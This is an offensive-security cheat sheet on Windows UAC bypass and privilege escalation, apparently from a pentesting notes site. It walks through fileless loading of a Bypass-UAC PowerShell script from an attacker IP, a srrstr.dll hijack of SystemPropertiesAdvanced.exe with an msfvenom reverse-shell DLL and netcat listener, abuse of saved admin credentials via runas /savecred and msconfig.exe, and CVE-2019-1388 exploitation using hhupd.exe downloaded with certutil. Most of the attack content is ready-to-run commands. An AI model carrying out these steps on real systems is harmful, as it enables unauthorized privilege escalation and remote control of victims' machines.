PRIMARY CATEGORY → UAC   •   WINDOWS PRIVESC

UACME

UACME

Setup
Usage

FuzzySecurity PS-Suite

UAC Bypass

Setup
Downloading the Powershell Script

From the attacker ⚔️

curl --silent --location --request GET --remote-name 'https://github.com/FuzzySecurity/PowerShell-Suite/raw/refs/heads/master/Bypass-UAC/Bypass-UAC.ps1'
Setting up an HTTP Server

From the attacker ⚔️

python3 -m http.server 80
Fileless Transfer

From the Target 🎯

IEX (New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Bypass-UAC.ps1')
Usage

From the attacker ⚔️

Bypass-UAC -Method '<METHOD>'

System Properties

SystemPropertiesAdvanced.exe

Workflow

The SystemPropertiesAdvanced.exe executable is another auto-elevate binary that can spawn a new process with a full primary access token assigned without the need of the User Account Control ( UAC ) consent prompt

It’s well known that the 32-bit version of this binary attempts to load a non-existent DLL named srrstr.dll, which is used by System Restore functionality

Note that to search for a certain DLL, a Windows system will follow the order below

  • Installation Directory i.e. where the given binary is located

  • C:\Windows\System32

  • C:\Windows\System

  • Current Directory i.e. from where the binary is executed

  • Any directory listed in the PATH environment variable

With this in mind, we know that the %localappdata%\Microsoft\WindowsApps is always present as a value within the PATH variable

Therefore, we can carry out a DLL Hijacking by placing a malicious srrstr.dll DLL file in the WindowsApps folder, which will be loaded in an elevated context as the given binary is auto-elevated

Abuse
Generating a malicious srrstr.dll DLL

From the attacker ⚔️

msfvenom --payload windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<ATTACKER_PORT> --platform windows --format dll --out srrstr.dll
Transferring the DLL to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

IWR -UseBasicParsing -Uri 'http://<ATTACKER_IP>/srrstr.dll' -Outfile "$env:LOCALAPPDATA\Microsoft\WindowsApps\srrstr.dll"
Setting up a TCP Listener

From the attacker ⚔️

rlwrap -CaR nc -nvlp <TCP_PORT>
Running the Auto-Elevate Binary
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
Resources

Egre55: System Properties UAC Bypass


Runas + Saved Credentials

Imagine an attacker logs in to a remote system as a Non-Privileged User

Then, LSASS.exe creates a Non-Privileged Access Token, which has a Medium IL (Integrity Level)

The attacker runs the following command to search for credentials stored in the form of encrypted Blobs or stored as .VCRD files within the Windows Credential Lockers (Windows Vaults)

cmdkey.exe /list

Or just checks the Windows Credential Manager

And he found an stored credential related to a Local Admin Account

Despite not knowing the plain text password, the following command could be executed to get a Logon Session Type 2 (Interactive) as this user

runas.exe /savecred /user:<ADMIN_USER> powershell.exe

The above command launch a powershell.exe as the Local Admin User

Since the obtained session is an Interactive one and the user belongs to the Administrators group, the User Account Control is applied

Therefore, the launched powershell.exe instance has a Medium IL as this process has been created under the context of a Filtered Token

In practical terms, it is like being logged in via WinRM (Logon Type 3 - Network), as a Local Admin User having applied the LocalAccountTokenFilterPolicy

I.e., the client also receives a Filtered Access Token

But the difference in this case is that the attacker comes from an Interactive Logon Session as the Non-Privileged User

Thus, we can leverage of the Binary Autoelevation and search for binaries that bypass the User Account Control

The current situation is that an attacker has a process, the powershell.exe, with a Medium IL under a Filtered Token context

But this access token is related to the Local Admin User, which means that there is a Full Access Token associated with the LUID of this user stored in the memory of LSASS.exe

So, an attacker could launch a process marked as Self-Elevating, which bypasses the UAC and therefore launches under the context of the Full Access Token

From this process, any launched process have a High IL as this process will be created under the context of the Full Access Token

Then, the attacker could spawn another powershell.exe from that process


MSConfig

MSConfig.exe

Abuse
Launch a Process as the Non-Privileged User

Non-Privileged Access Token → Medium IL

powershell.exe
Check for Stored Credentials

Local Admin Account’s Stored Credentials found

cmdkey.exe /list
Create an Interactive Session as the Local Admin User

Filtered Access Token (Dual Token) → Medium IL

runas.exe /savecred /user:<ADMIN_USER> powershell.exe
Launch the Self-Elevating Binary

UAC Bypass

Full Access Token → High IL

msconfig.exe
Spawn another Process from the Elevated Process

Full Access Token → High IL

Zoom In


CVE-2019-1388

CVE-2019-1388

Affected Versions

Workflow

It is a security flaw in the Windows Certificate Dialog, which do not properly enforce user privileges

The issue lies in the UAC mechanism, which presented a “Show information about the publisher’s certificate” option that opens a Windows Certificate Dialog when a user clicks the link

If the given executable is signed with a certificate that has the 1.3.6.1.4.1.311.2.1.10 OID ( SpcSPAgencyInfo ), an hyperlink is included in the “Issued by” field present in the General tab of the Windows Certificate Dialog

Once we click on the link, a browser instance trying to access the link in question is spawned as LOCAL SYSTEM. From here, we can simply leverage a feature of the given browser to open a Windows File Explorer Dialog and spawn a cmd.exe as this privileged user

Requirements
  • The binary for which UAC prompts must be signed with a certificate that has the 1.3.6.1.4.1.311.2.1.10 OID

  • The Windows System must be vulnerable

Abuse
Setup

For this demonstration, we will use the hhupd.exe executable

  • Downloading the HHUPD.exe

From the attacker ⚔️

curl --silent --location --request GET --output hhupd.exe 'https://github.com/jas502n/CVE-2019-1388/raw/refs/heads/master/HHUPD.EXE'
  • Transferring it to the target

From the attacker ⚔️

python3 -m http.server 80

From the target 🎯

mkdir $env:SYSTEMROOT\Temp\LPE
cd $env:SYSTEMROOT\Temp\LPE
certutil.exe -urlcache -split -f 'http://<ATTACKER_IP>/hhupd.exe'
Running the executable as Administrator to trigger UAC

Zoom in

Clicking on “Show Information about the publisher’s Certificate” option

Zoom in

Chrome running as LOCAL SYSTEM

Zoom in

Spawning a cmd.exe instance as LOCAL SYSTEM
  • Ctrl-U to open the source code of the page

  • Ctrl-S to open the Windows File Explorer Dialog Box

  • Spawn a cmd.exe

Resources

Github